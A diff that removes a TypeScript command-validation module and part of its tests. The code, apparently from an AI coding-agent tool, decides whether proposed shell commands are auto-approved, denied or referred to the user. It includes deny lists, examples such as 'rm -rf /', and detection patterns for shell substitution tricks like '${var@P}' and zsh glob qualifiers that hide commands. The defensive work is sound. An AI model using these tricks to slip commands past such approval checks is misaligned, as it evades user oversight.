-				expect(validator.validateCommand("npm run $(git push origin)")).toBe("auto_deny")
-
-				// Main command denied, subshell allowed
-				expect(validator.validateCommand("git push $(echo origin)")).toBe("auto_deny")
-
-				// Complex chain with subshells - need echo in allowlist
-				expect(validator.validateCommand("npm install && echo $(git status) && npm test")).toBe("auto_approve")
-				expect(validator.validateCommand("npm install && echo $(git push) && npm test")).toBe("auto_deny")
-			})
-		})
-
-		describe("Real-world integration scenarios", () => {
-			describe("Development workflow validation", () => {
-				let devValidator: CommandValidator
-
-				beforeEach(() => {
-					devValidator = createCommandValidator(
-						["npm", "git", "echo", "ls", "cat"],
-						["git push", "rm", "sudo", "npm publish"],
-					)
-				})
-
-				it("allows common development commands", () => {
-					const commonCommands = [
-						"npm install",
-						"npm test",
-						"npm run build",
-						"git status",
-						"git add .",
-						"git commit -m 'fix'",
-						"echo 'done'",
-						"ls -la",
-						"cat package.json",
-					]
-
-					commonCommands.forEach((cmd) => {
-						expect(devValidator.isAutoApproved(cmd)).toBe(true)
-					})
-				})
-
-				it("blocks dangerous commands", () => {
-					const dangerousCommands = [
-						"git push origin main",
-						"rm -rf node_modules",
-						"sudo apt install",
-						"npm publish",
-					]
-
-					dangerousCommands.forEach((cmd) => {
-						expect(devValidator.isAutoDenied(cmd)).toBe(true)
-					})
-				})
-
-				it("requires user input for unknown commands", () => {
-					const unknownCommands = ["docker run", "python script.py", "curl https://api.example.com"]
-
-					unknownCommands.forEach((cmd) => {
-						expect(devValidator.requiresUserInput(cmd)).toBe(true)
-					})
-				})
-			})
-
-			describe("Production environment validation", () => {
-				let prodValidator: CommandValidator
-
-				beforeEach(() => {
-					prodValidator = createCommandValidator(
-						["ls", "cat", "grep", "tail"],
-						["*"], // Deny everything by default
-					)
-				})
-
-				it("allows only read-only commands", () => {
-					expect(prodValidator.isAutoApproved("ls -la")).toBe(true)
-					expect(prodValidator.isAutoApproved("cat /var/log/app.log")).toBe(true)
-					expect(prodValidator.isAutoApproved("grep ERROR /var/log/app.log")).toBe(true)
-					expect(prodValidator.isAutoApproved("tail -f /var/log/app.log")).toBe(true)
-				})
-
-				it("blocks all other commands due to wildcard deny", () => {
-					const blockedCommands = ["npm install", "git push", "rm file", "echo hello", "mkdir test"]
-
-					blockedCommands.forEach((cmd) => {
-						expect(prodValidator.isAutoDenied(cmd)).toBe(true)
-					})
-				})
-			})
-
-			describe("Longest prefix match in complex scenarios", () => {
-				let complexValidator: CommandValidator
-
-				beforeEach(() => {
-					complexValidator = createCommandValidator(
-						["git", "git push", "git push --dry-run", "npm", "npm test"],
-						["git push", "npm test --coverage"],
-					)
-				})
-
-				it("demonstrates longest prefix match resolution", () => {
-					// git push --dry-run (allowed, 18 chars) vs git push (denied, 8 chars) -> allow
-					expect(complexValidator.isAutoApproved("git push --dry-run origin main")).toBe(true)
-
-					// git push origin (denied, 8 chars) vs git (allowed, 3 chars) -> deny
-					expect(complexValidator.isAutoDenied("git push origin main")).toBe(true)
-
-					// npm test (allowed, 8 chars) vs npm test --coverage (denied, 19 chars) -> deny
-					expect(complexValidator.isAutoDenied("npm test --coverage --watch")).toBe(true)
-
-					// npm test basic (allowed, 8 chars) vs no deny match -> allow
-					expect(complexValidator.isAutoApproved("npm test basic")).toBe(true)
-				})
-
-				it("handles command chains with mixed decisions", () => {
-					// One command denied -> whole chain denied
-					expect(complexValidator.isAutoDenied("git status && git push origin")).toBe(true)
-
-					// All commands approved -> whole chain approved
-					expect(complexValidator.isAutoApproved("git status && git push --dry-run")).toBe(true)
-
-					// Mixed with unknown -> ask user
-					expect(complexValidator.requiresUserInput("git status && unknown-command")).toBe(true)
-				})
-			})
-
-			describe("Performance and scalability", () => {
-				it("handles large command lists efficiently", () => {
-					const largeAllowList = Array.from({ length: 1000 }, (_, i) => `command${i}`)
-					const largeDenyList = Array.from({ length: 500 }, (_, i) => `dangerous${i}`)
-
-					const largeValidator = createCommandValidator(largeAllowList, largeDenyList)
-
-					// Should still work efficiently
-					expect(largeValidator.isAutoApproved("command500 --flag")).toBe(true)
-					expect(largeValidator.isAutoDenied("dangerous250 --flag")).toBe(true)
-					expect(largeValidator.requiresUserInput("unknown")).toBe(true)
-				})
-
-				it("handles batch validation efficiently", () => {
-					const batchValidator = createCommandValidator(["npm"], ["rm"])
-					const commands = Array.from({ length: 100 }, (_, i) => `npm test${i}`)
-					const results = batchValidator.validateCommands(commands)
-
-					expect(results.size).toBe(100)
-					// All should be auto-approved since they match "npm" allowlist
-					Array.from(results.values()).forEach((decision) => {
-						expect(decision).toBe("auto_approve")
-					})
-				})
-			})
-		})
-	})
-})

+ 0 - 760
webview-ui/src/utils/command-validation.ts

@@ -1,760 +0,0 @@
-import { parse } from "shell-quote"
-
-type ShellToken = string | { op: string } | { command: string }
-
-/**
- * # Command Denylist Feature - Longest Prefix Match Strategy
- *
- * This module implements a sophisticated command validation system that uses the
- * "longest prefix match" strategy to resolve conflicts between allowlist and denylist patterns.
- *
- * ## Core Concept: Longest Prefix Match
- *
- * When a command matches patterns in both the allowlist and denylist, the system uses
- * the longest (most specific) match to determine the final decision. This approach
- * provides fine-grained control over command execution permissions.
- *
- * ### Examples:
- *
- * **Example 1: Specific denial overrides general allowance**
- * - Allowlist: ["git"]
- * - Denylist: ["git push"]
- * - Command: "git push origin main"
- * - Result: DENIED (denylist match "git push" is longer than allowlist match "git")
- *
- * **Example 2: Specific allowance overrides general denial**
- * - Allowlist: ["git push --dry-run"]
- * - Denylist: ["git push"]
- * - Command: "git push --dry-run origin main"
- * - Result: APPROVED (allowlist match is longer and more specific)
- *
- * **Example 3: Wildcard handling**
- * - Allowlist: ["*"]
- * - Denylist: ["rm", "sudo"]
- * - Command: "rm -rf /"
- * - Result: DENIED (specific denylist match overrides wildcard allowlist)
- *
- * ## Command Processing Pipeline:
- *
- * 1. **Dangerous Substitution Detection**: Commands containing dangerous patterns like ${var@P} are never auto-approved
- * 2. **Command Parsing**: Split chained commands (&&, ||, ;, |, &) into individual commands for separate validation
- * 3. **Pattern Matching**: For each individual command, find the longest matching prefix in both allowlist and denylist
- * 4. **Decision Logic**: Apply longest prefix match rule - more specific (longer) matches take precedence
- * 5. **Aggregation**: Combine individual decisions - if any command is denied, the entire chain is denied
- *
- * ## Security Considerations:
- *
- * - **Dangerous Substitution Protection**: Detects dangerous parameter expansions and escape sequences that could execute commands
- * - **Chain Analysis**: Each command in a chain (cmd1 && cmd2) is validated separately to prevent bypassing via chaining
- * - **Case Insensitive**: All pattern matching is case-insensitive for consistent behavior across different input styles
- * - **Whitespace Handling**: Commands are trimmed and normalized before matching to prevent whitespace-based bypasses
- *
- * ## Configuration Merging:
- *
- * The system merges command lists from two sources with global state taking precedence:
- * 1. Global state (user preferences)
- * 2. Workspace configuration (project-specific settings)
- *
- * This allows users to have personal defaults while projects can define specific restrictions.
- */
-
-/**
- * Detect dangerous parameter substitutions that could lead to command execution.
- * These patterns are never auto-approved and always require explicit user approval.
- *
- * Detected patterns:
- * - ${var@P} - Prompt string expansion (interprets escape sequences and executes embedded commands)
- * - ${var@Q} - Quote removal
- * - ${var@E} - Escape sequence expansion
- * - ${var@A} - Assignment statement
- * - ${var@a} - Attribute flags
- * - ${var=value} with escape sequences - Can embed commands via \140 (backtick), \x60, or \u0060
- * - ${!var} - Indirect variable references
- * - <<<$(...) or <<<`...` - Here-strings with command substitution
- * - =(...) - Zsh process substitution that executes commands
- * - *(e:...:) or similar - Zsh glob qualifiers with code execution
- *
- * @param source - The command string to analyze
- * @returns true if dangerous substitution patterns are detected, false otherwise
- */
-export function containsDangerousSubstitution(source: string): boolean {
-	// Check for dangerous parameter expansion operators that can execute commands
-	// ${var@P} - Prompt string expansion (interprets escape sequences and executes embedded commands)
-	// ${var@Q} - Quote removal
-	// ${var@E} - Escape sequence expansion
-	// ${var@A} - Assignment statement
-	// ${var@a} - Attribute flags
-	const dangerousParameterExpansion = /\$\{[^}]*@[PQEAa][^}]*\}/.test(source)
-
-	// Check for parameter expansions with assignments that could contain escape sequences
-	// ${var=value} or ${var:=value} can embed commands via escape sequences like \140 (backtick)
-	// Also check for ${var+value}, ${var:-value}, ${var:+value}, ${var:?value}
-	const parameterAssignmentWithEscapes =
-		/\$\{[^}]*[=+\-?][^}]*\\[0-7]{3}[^}]*\}/.test(source) || // octal escapes
-		/\$\{[^}]*[=+\-?][^}]*\\x[0-9a-fA-F]{2}[^}]*\}/.test(source) || // hex escapes
-		/\$\{[^}]*[=+\-?][^}]*\\u[0-9a-fA-F]{4}[^}]*\}/.test(source) // unicode escapes
-
-	// Check for indirect variable references that could execute commands
-	// ${!var} performs indirect expansion which can be dangerous with crafted variable names
-	const indirectExpansion = /\$\{![^}]+\}/.test(source)
-
-	// Check for here-strings with command substitution
-	// <<<$(...) or <<<`...` can execute commands
-	const hereStringWithSubstitution = /<<<\s*(\$\(|`)/.test(source)
-
-	// Check for zsh process substitution =(...) which executes commands
-	// =(...) creates a temporary file containing the output of the command, but executes it
-	const zshProcessSubstitution = /=\([^)]+\)/.test(source)
-
-	// Check for zsh glob qualifiers with code execution (e:...:)
-	// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion
-	// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:)
-	const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source)
-
-	// Return true if any dangerous pattern is detected
-	return (
-		dangerousParameterExpansion ||
-		parameterAssignmentWithEscapes ||
-		indirectExpansion ||
-		hereStringWithSubstitution ||
-		zshProcessSubstitution ||
-		zshGlobQualifier
-	)
-}
-
-/**
- * Split a command string into individual sub-commands by
- * chaining operators (&&, ||, ;, |, or &) and newlines.
- *
- * Uses shell-quote to properly handle:
- * - Quoted strings (preserves quotes)
- * - Subshell commands ($(cmd), `cmd`, <(cmd), >(cmd))
- * - PowerShell redirections (2>&1)
- * - Chain operators (&&, ||, ;, |, &)
- * - Newlines as command separators
- */
-export function parseCommand(command: string): string[] {
-	if (!command?.trim()) return []
-
-	// Split by newlines first (handle different line ending formats)
-	// This regex splits on \r\n (Windows), \n (Unix), or \r (old Mac)
-	const lines = command.split(/\r\n|\r|\n/)
-	const allCommands: string[] = []
-
-	for (const line of lines) {
-		// Skip empty lines
-		if (!line.trim()) continue
-
-		// Process each line through the existing parsing logic
-		const lineCommands = parseCommandLine(line)
-		allCommands.push(...lineCommands)
-	}
-
-	return allCommands
-}
-
-/**
- * Helper function to restore placeholders in a command string
- */
-function restorePlaceholders(
-	command: string,
-	quotes: string[],
-	redirections: string[],
-	arrayIndexing: string[],
-	arithmeticExpressions: string[],
-	parameterExpansions: string[],
-	variables: string[],
-	subshells: string[],
-): string {
-	let result = command
-	// Restore quotes
-	result = result.replace(/__QUOTE_(\d+)__/g, (_, i) => quotes[parseInt(i)])
-	// Restore redirections
-	result = result.replace(/__REDIR_(\d+)__/g, (_, i) => redirections[parseInt(i)])
-	// Restore array indexing expressions
-	result = result.replace(/__ARRAY_(\d+)__/g, (_, i) => arrayIndexing[parseInt(i)])
-	// Restore arithmetic expressions
-	result = result.replace(/__ARITH_(\d+)__/g, (_, i) => arithmeticExpressions[parseInt(i)])
-	// Restore parameter expansions
-	result = result.replace(/__PARAM_(\d+)__/g, (_, i) => parameterExpansions[parseInt(i)])
-	// Restore variable references
-	result = result.replace(/__VAR_(\d+)__/g, (_, i) => variables[parseInt(i)])
-	result = result.replace(/__SUBSH_(\d+)__/g, (_, i) => subshells[parseInt(i)])
-	return result
-}
-
-/**
- * Parse a single line of commands (internal helper function)
- */
-function parseCommandLine(command: string): string[] {
-	if (!command?.trim()) return []
-
-	// Storage for replaced content
-	const redirections: string[] = []
-	const subshells: string[] = []
-	const quotes: string[] = []
-	const arrayIndexing: string[] = []
-	const arithmeticExpressions: string[] = []
-	const variables: string[] = []
-	const parameterExpansions: string[] = []
-
-	// First handle PowerShell redirections by temporarily replacing them
-	let processedCommand = command.replace(/\d*>&\d*/g, (match) => {
-		redirections.push(match)
-		return `__REDIR_${redirections.length - 1}__`
-	})
-
-	// Handle arithmetic expressions: $((...)) pattern
-	// Match the entire arithmetic expression including nested parentheses
-	processedCommand = processedCommand.replace(/\$\(\([^)]*(?:\)[^)]*)*\)\)/g, (match) => {
-		arithmeticExpressions.push(match)
-		return `__ARITH_${arithmeticExpressions.length - 1}__`
-	})
-
-	// Handle $[...] arithmetic expressions (alternative syntax)
-	processedCommand = processedCommand.replace(/\$\[[^\]]*\]/g, (match) => {
-		arithmeticExpressions.push(match)
-		return `__ARITH_${arithmeticExpressions.length - 1}__`
-	})
-
-	// Handle parameter expansions: ${...} patterns (including array indexing)
-	// This covers ${var}, ${var:-default}, ${var:+alt}, ${#var}, ${var%pattern}, etc.
-	processedCommand = processedCommand.replace(/\$\{[^}]+\}/g, (match) => {
-		parameterExpansions.push(match)
-		return `__PARAM_${parameterExpansions.length - 1}__`
-	})
-
-	// Handle process substitutions: <(...) and >(...)
-	processedCommand = processedCommand.replace(/[<>]\(([^)]+)\)/g, (_, inner) => {
-		subshells.push(inner.trim())
-		return `__SUBSH_${subshells.length - 1}__`
-	})
-
-	// Handle simple variable references: $varname pattern
-	// This prevents shell-quote from splitting $count into separate tokens
-	processedCommand = processedCommand.replace(/\$[a-zA-Z_][a-zA-Z0-9_]*/g, (match) => {
-		variables.push(match)
-		return `__VAR_${variables.length - 1}__`
-	})
-
-	// Handle special bash variables: $?, $!, $#, $$, $@, $*, $-, $0-$9
-	processedCommand = processedCommand.replace(/\$[?!#$@*\-0-9]/g, (match) => {
-		variables.push(match)
-		return `__VAR_${variables.length - 1}__`
-	})
-
-	// Then handle subshell commands $() and back-ticks
-	processedCommand = processedCommand
-		.replace(/\$\((.*?)\)/g, (_, inner) => {
-			subshells.push(inner.trim())
-			return `__SUBSH_${subshells.length - 1}__`
-		})
-		.replace(/`(.*?)`/g, (_, inner) => {
-			subshells.push(inner.trim())
-			return `__SUBSH_${subshells.length - 1}__`
-		})
-
-	// Then handle quoted strings
-	processedCommand = processedCommand.replace(/"[^"]*"/g, (match) => {
-		quotes.push(match)
-		return `__QUOTE_${quotes.length - 1}__`
-	})
-
-	let tokens: ShellToken[]
-	try {
-		tokens = parse(processedCommand) as ShellToken[]
-	} catch (error: any) {
-		// If shell-quote fails to parse, fall back to simple splitting
-		console.warn("shell-quote parse error:", error.message, "for command:", processedCommand)
-
-		// Simple fallback: split by common operators
-		const fallbackCommands = processedCommand
-			.split(/(?:&&|\|\||;|\||&)/)
-			.map((cmd) => cmd.trim())
-			.filter((cmd) => cmd.length > 0)
-
-		// Restore all placeholders for each command
-		return fallbackCommands.map((cmd) =>
-			restorePlaceholders(
-				cmd,
-				quotes,
-				redirections,
-				arrayIndexing,
-				arithmeticExpressions,
-				parameterExpansions,
-				variables,
-				subshells,
-			),
-		)
-	}
-
-	const commands: string[] = []
-	let currentCommand: string[] = []
-
-	for (const token of tokens) {
-		if (typeof token === "object" && "op" in token) {
-			// Chain operator - split command
-			if (["&&", "||", ";", "|", "&"].includes(token.op)) {
-				if (currentCommand.length > 0) {
-					commands.push(currentCommand.join(" "))
-					currentCommand = []
-				}
-			} else {
-				// Other operators (>) are part of the command
-				currentCommand.push(token.op)
-			}
-		} else if (typeof token === "string") {
-			// Check if it's a subshell placeholder
-			const subshellMatch = token.match(/__SUBSH_(\d+)__/)
-			if (subshellMatch) {
-				if (currentCommand.length > 0) {
-					commands.push(currentCommand.join(" "))
-					currentCommand = []
-				}
-				commands.push(subshells[parseInt(subshellMatch[1])])
-			} else {
-				currentCommand.push(token)
-			}
-		}
-	}
-
-	// Add any remaining command
-	if (currentCommand.length > 0) {
-		commands.push(currentCommand.join(" "))
-	}
-
-	// Restore quotes and redirections
-	return commands.map((cmd) =>
-		restorePlaceholders(
-			cmd,
-			quotes,
-			redirections,
-			arrayIndexing,
-			arithmeticExpressions,
-			parameterExpansions,
-			variables,
-			subshells,
-		),
-	)
-}
-
-/**
- * Find the longest matching prefix from a list of prefixes for a given command.
- *
- * This is the core function that implements the "longest prefix match" strategy.
- * It searches through all provided prefixes and returns the longest one that
- * matches the beginning of the command (case-insensitive).
- *
- * **Special Cases:**
- * - Wildcard "*" matches any command but is treated as length 1 for comparison
- * - Empty command or empty prefixes list returns null
- * - Matching is case-insensitive and uses startsWith logic
- *
- * **Examples:**
- * ```typescript
- * findLongestPrefixMatch("git push origin", ["git", "git push"])
- * // Returns "git push" (longer match)
- *
- * findLongestPrefixMatch("npm install", ["*", "npm"])
- * // Returns "npm" (specific match preferred over wildcard)
- *
- * findLongestPrefixMatch("unknown command", ["git", "npm"])
- * // Returns null (no match found)
- * ```
- *
- * @param command - The command to match against
- * @param prefixes - List of prefix patterns to search through
- * @returns The longest matching prefix, or null if no match found
- */
-export function findLongestPrefixMatch(command: string, prefixes: string[]): string | null {
-	if (!command || !prefixes?.length) return null
-
-	const trimmedCommand = command.trim().toLowerCase()
-	let longestMatch: string | null = null
-
-	for (const prefix of prefixes) {
-		const lowerPrefix = prefix.toLowerCase()
-		// Handle wildcard "*" - it matches any command
-		if (lowerPrefix === "*" || trimmedCommand.startsWith(lowerPrefix)) {
-			if (!longestMatch || lowerPrefix.length > longestMatch.length) {
-				longestMatch = lowerPrefix
-			}
-		}
-	}
-
-	return longestMatch
-}
-
-/**
- * Check if a single command should be auto-approved.
- * Returns true only for commands that explicitly match the allowlist
- * and either don't match the denylist or have a longer allowlist match.
- *
- * Special handling for wildcards: "*" in allowlist allows any command,
- * but denylist can still block specific commands.
- */
-export function isAutoApprovedSingleCommand(
-	command: string,
-	allowedCommands: string[],
-	deniedCommands?: string[],
-): boolean {
-	if (!command) return true
-
-	// If no allowlist configured, nothing can be auto-approved
-	if (!allowedCommands?.length) return false
-
-	// Check if wildcard is present in allowlist
-	const hasWildcard = allowedCommands.some((cmd) => cmd.toLowerCase() === "*")
-
-	// If no denylist provided (undefined), use simple allowlist logic
-	if (deniedCommands === undefined) {
-		const trimmedCommand = command.trim().toLowerCase()
-		return allowedCommands.some((prefix) => {
-			const lowerPrefix = prefix.toLowerCase()
-			// Handle wildcard "*" - it matches any command
-			return lowerPrefix === "*" || trimmedCommand.startsWith(lowerPrefix)
-		})
-	}
-
-	// Find longest matching prefix in both lists
-	const longestDeniedMatch = findLongestPrefixMatch(command, deniedCommands)
-	const longestAllowedMatch = findLongestPrefixMatch(command, allowedCommands)
-
-	// Special case: if wildcard is present and no denylist match, auto-approve
-	if (hasWildcard && !longestDeniedMatch) return true
-
-	// Must have an allowlist match to be auto-approved
-	if (!longestAllowedMatch) return false
-
-	// If no denylist match, auto-approve
-	if (!longestDeniedMatch) return true
-
-	// Both have matches - allowlist must be longer to auto-approve
-	return longestAllowedMatch.length > longestDeniedMatch.length
-}
-
-/**
- * Check if a single command should be auto-denied.
- * Returns true only for commands that explicitly match the denylist
- * and either don't match the allowlist or have a longer denylist match.
- */
-export function isAutoDeniedSingleCommand(
-	command: string,
-	allowedCommands: string[],
-	deniedCommands?: string[],
-): boolean {
-	if (!command) return false
-
-	// If no denylist configured, nothing can be auto-denied
-	if (!deniedCommands?.length) return false
-
-	// Find longest matching prefix in both lists
-	const longestDeniedMatch = findLongestPrefixMatch(command, deniedCommands)
-	const longestAllowedMatch = findLongestPrefixMatch(command, allowedCommands || [])
-
-	// Must have a denylist match to be auto-denied
-	if (!longestDeniedMatch) return false
-
-	// If no allowlist match, auto-deny
-	if (!longestAllowedMatch) return true
-
-	// Both have matches - denylist must be longer or equal to auto-deny
-	return longestDeniedMatch.length >= longestAllowedMatch.length
-}
-
-/**
- * Command approval decision types
- */
-export type CommandDecision = "auto_approve" | "auto_deny" | "ask_user"
-
-/**
- * Unified command validation that implements the longest prefix match rule.
- * Returns a definitive decision for a command based on allowlist and denylist.
- *
- * This is the main entry point for command validation in the Command Denylist feature.
- * It handles complex command chains and applies the longest prefix match strategy
- * to resolve conflicts between allowlist and denylist patterns.
- *
- * **Decision Logic:**
- * 1. **Dangerous Substitution Protection**: Commands with dangerous parameter expansions are never auto-approved
- * 2. **Command Parsing**: Split command chains (&&, ||, ;, |, &) into individual commands
- * 3. **Individual Validation**: For each sub-command, apply longest prefix match rule
- * 4. **Aggregation**: Combine decisions using "any denial blocks all" principle
- *
- * **Return Values:**
- * - `"auto_approve"`: All sub-commands are explicitly allowed and no dangerous patterns detected
- * - `"auto_deny"`: At least one sub-command is explicitly denied
- * - `"ask_user"`: Mixed or no matches found, requires user decision, or contains dangerous patterns
- *
- * **Examples:**
- * ```typescript
- * // Simple approval
- * getCommandDecision("git status", ["git"], [])
- * // Returns "auto_approve"
- *
- * // Dangerous pattern - never auto-approved
- * getCommandDecision('echo "${var@P}"', ["echo"], [])
- * // Returns "ask_user"
- *
- * // Longest prefix match - denial wins
- * getCommandDecision("git push origin", ["git"], ["git push"])
- * // Returns "auto_deny"
- *
- * // Command chain - any denial blocks all
- * getCommandDecision("git status && rm file", ["git"], ["rm"])
- * // Returns "auto_deny"
- *
- * // No matches - ask user
- * getCommandDecision("unknown command", ["git"], ["rm"])
- * // Returns "ask_user"
- * ```
- *
- * @param command - The full command string to validate
- * @param allowedCommands - List of allowed command prefixes
- * @param deniedCommands - Optional list of denied command prefixes
- * @returns Decision indicating whether to approve, deny, or ask user
- */
-export function getCommandDecision(
-	command: string,
-	allowedCommands: string[],
-	deniedCommands?: string[],
-): CommandDecision {
-	if (!command?.trim()) return "auto_approve"
-
-	// Parse into sub-commands (split by &&, ||, ;, |)
-	const subCommands = parseCommand(command)
-
-	// Check each sub-command and collect decisions
-	const decisions: CommandDecision[] = subCommands.map((cmd) => {
-		// Remove simple PowerShell-like redirections (e.g. 2>&1) before checking
-		const cmdWithoutRedirection = cmd.replace(/\d*>&\d*/, "").trim()
-
-		return getSingleCommandDecision(cmdWithoutRedirection, allowedCommands, deniedCommands)
-	})
-
-	// If any sub-command is denied, deny the whole command
-	if (decisions.includes("auto_deny")) {
-		return "auto_deny"
-	}
-
-	// Require explicit user approval for dangerous patterns
-	if (containsDangerousSubstitution(command)) {
-		return "ask_user"
-	}
-
-	// If all sub-commands are approved, approve the whole command
-	if (decisions.every((decision) => decision === "auto_approve")) {
-		return "auto_approve"
-	}
-
-	// Otherwise, ask user
-	return "ask_user"
-}
-
-/**
- * Get the decision for a single command using longest prefix match rule.
- *
- * This is the core logic that implements the conflict resolution between
- * allowlist and denylist using the "longest prefix match" strategy.
- *
- * **Longest Prefix Match Algorithm:**
- * 1. Find the longest matching prefix in the allowlist
- * 2. Find the longest matching prefix in the denylist
- * 3. Compare lengths to determine which rule takes precedence
- * 4. Longer (more specific) match wins the conflict
- *
- * **Decision Matrix:**
- * | Allowlist Match | Denylist Match | Result | Reason |
- * |----------------|----------------|---------|---------|
- * | Yes | No | auto_approve | Only allowlist matches |
- * | No | Yes | auto_deny | Only denylist matches |
- * | Yes | Yes (shorter) | auto_approve | Allowlist is more specific |
- * | Yes | Yes (longer/equal) | auto_deny | Denylist is more specific |
- * | No | No | ask_user | No rules apply |
- *
- * **Examples:**
- * ```typescript
- * // Only allowlist matches
- * getSingleCommandDecision("git status", ["git"], ["npm"])
- * // Returns "auto_approve"
- *
- * // Denylist is more specific
- * getSingleCommandDecision("git push origin", ["git"], ["git push"])
- * // Returns "auto_deny" (denylist "git push" > allowlist "git")
- *
- * // Allowlist is more specific
- * getSingleCommandDecision("git push --dry-run", ["git push --dry-run"], ["git push"])
- * // Returns "auto_approve" (allowlist is longer)
- *
- * // No matches
- * getSingleCommandDecision("unknown", ["git"], ["npm"])
- * // Returns "ask_user"
- * ```
- *
- * @param command - Single command to validate (no chaining)
- * @param allowedCommands - List of allowed command prefixes
- * @param deniedCommands - Optional list of denied command prefixes
- * @returns Decision for this specific command
- */
-export function getSingleCommandDecision(
-	command: string,
-	allowedCommands: string[],
-	deniedCommands?: string[],
-): CommandDecision {
-	if (!command) return "auto_approve"
-
-	// Find longest matching prefixes in both lists
-	const longestAllowedMatch = findLongestPrefixMatch(command, allowedCommands || [])
-	const longestDeniedMatch = findLongestPrefixMatch(command, deniedCommands || [])
-
-	// If only allowlist has a match, auto-approve
-	if (longestAllowedMatch && !longestDeniedMatch) {
-		return "auto_approve"
-	}
-
-	// If only denylist has a match, auto-deny
-	if (!longestAllowedMatch && longestDeniedMatch) {
-		return "auto_deny"
-	}
-
-	// Both lists have matches - apply longest prefix match rule
-	if (longestAllowedMatch && longestDeniedMatch) {
-		return longestAllowedMatch.length > longestDeniedMatch.length ? "auto_approve" : "auto_deny"
-	}
-
-	// If neither list has a match, ask user
-	return "ask_user"
-}
-
-/**
- * Centralized Command Validation Service
- *
- * This class provides a unified interface for all command validation operations
- * in the Command Denylist feature. It encapsulates the validation logic and
- * provides convenient methods for different validation scenarios.
- */
-export class CommandValidator {
-	constructor(
-		private allowedCommands: string[],
-		private deniedCommands?: string[],
-	) {}
-
-	/**
-	 * Update the command lists used for validation
-	 */
-	updateCommandLists(allowedCommands: string[], deniedCommands?: string[]) {
-		this.allowedCommands = allowedCommands
-		this.deniedCommands = deniedCommands
-	}
-
-	/**
-	 * Get the current command lists
-	 */
-	getCommandLists() {
-		return {
-			allowedCommands: [...this.allowedCommands],
-			deniedCommands: this.deniedCommands ? [...this.deniedCommands] : undefined,
-		}
-	}
-
-	/**
-	 * Validate a command and return a decision
-	 * This is the main validation method that should be used for all command validation
-	 */
-	validateCommand(command: string): CommandDecision {
-		return getCommandDecision(command, this.allowedCommands, this.deniedCommands)
-	}
-
-	/**
-	 * Check if a command would be auto-approved
-	 */
-	isAutoApproved(command: string): boolean {
-		return this.validateCommand(command) === "auto_approve"
-	}
-
-	/**
-	 * Check if a command would be auto-denied
-	 */
-	isAutoDenied(command: string): boolean {
-		return this.validateCommand(command) === "auto_deny"
-	}
-
-	/**
-	 * Check if a command requires user input
-	 */
-	requiresUserInput(command: string): boolean {
-		return this.validateCommand(command) === "ask_user"
-	}
-
-	/**
-	 * Get detailed validation information for a command
-	 * Useful for debugging and providing user feedback
-	 */
-	getValidationDetails(command: string): {
-		decision: CommandDecision
-		subCommands: string[]
-		allowedMatches: Array<{ command: string; match: string | null }>
-		deniedMatches: Array<{ command: string; match: string | null }>
-		hasDangerousSubstitution: boolean
-	} {
-		const subCommands = parseCommand(command)
-		const hasDangerousSubstitution = containsDangerousSubstitution(command)
-
-		const allowedMatches = subCommands.map((cmd) => ({
-			command: cmd,
-			match: findLongestPrefixMatch(cmd.replace(/\d*>&\d*/, "").trim(), this.allowedCommands),
-		}))
-
-		const deniedMatches = subCommands.map((cmd) => ({
-			command: cmd,
-			match: findLongestPrefixMatch(cmd.replace(/\d*>&\d*/, "").trim(), this.deniedCommands || []),
-		}))
-
-		return {
-			decision: this.validateCommand(command),
-			subCommands,
-			allowedMatches,
-			deniedMatches,
-			hasDangerousSubstitution,
-		}
-	}
-
-	/**
-	 * Validate multiple commands at once
-	 * Returns a map of command to decision
-	 */
-	validateCommands(commands: string[]): Map<string, CommandDecision> {
-		const results = new Map<string, CommandDecision>()
-		for (const command of commands) {
-			results.set(command, this.validateCommand(command))
-		}
-		return results
-	}
-
-	/**
-	 * Check if the validator has any rules configured
-	 */
-	hasRules(): boolean {
-		return this.allowedCommands.length > 0 || (this.deniedCommands?.length ?? 0) > 0
-	}
-
-	/**
-	 * Get statistics about the current configuration
-	 */
-	getStats() {
-		return {
-			allowedCount: this.allowedCommands.length,
-			deniedCount: this.deniedCommands?.length ?? 0,
-			hasWildcard: this.allowedCommands.some((cmd) => cmd.toLowerCase() === "*"),
-			hasRules: this.hasRules(),
-		}
-	}
-}
-
-/**
- * Factory function to create a CommandValidator instance
- * This is the recommended way to create validators in the application
- */
-export function createCommandValidator(allowedCommands: string[], deniedCommands?: string[]): CommandValidator {
-	return new CommandValidator(allowedCommands, deniedCommands)
-}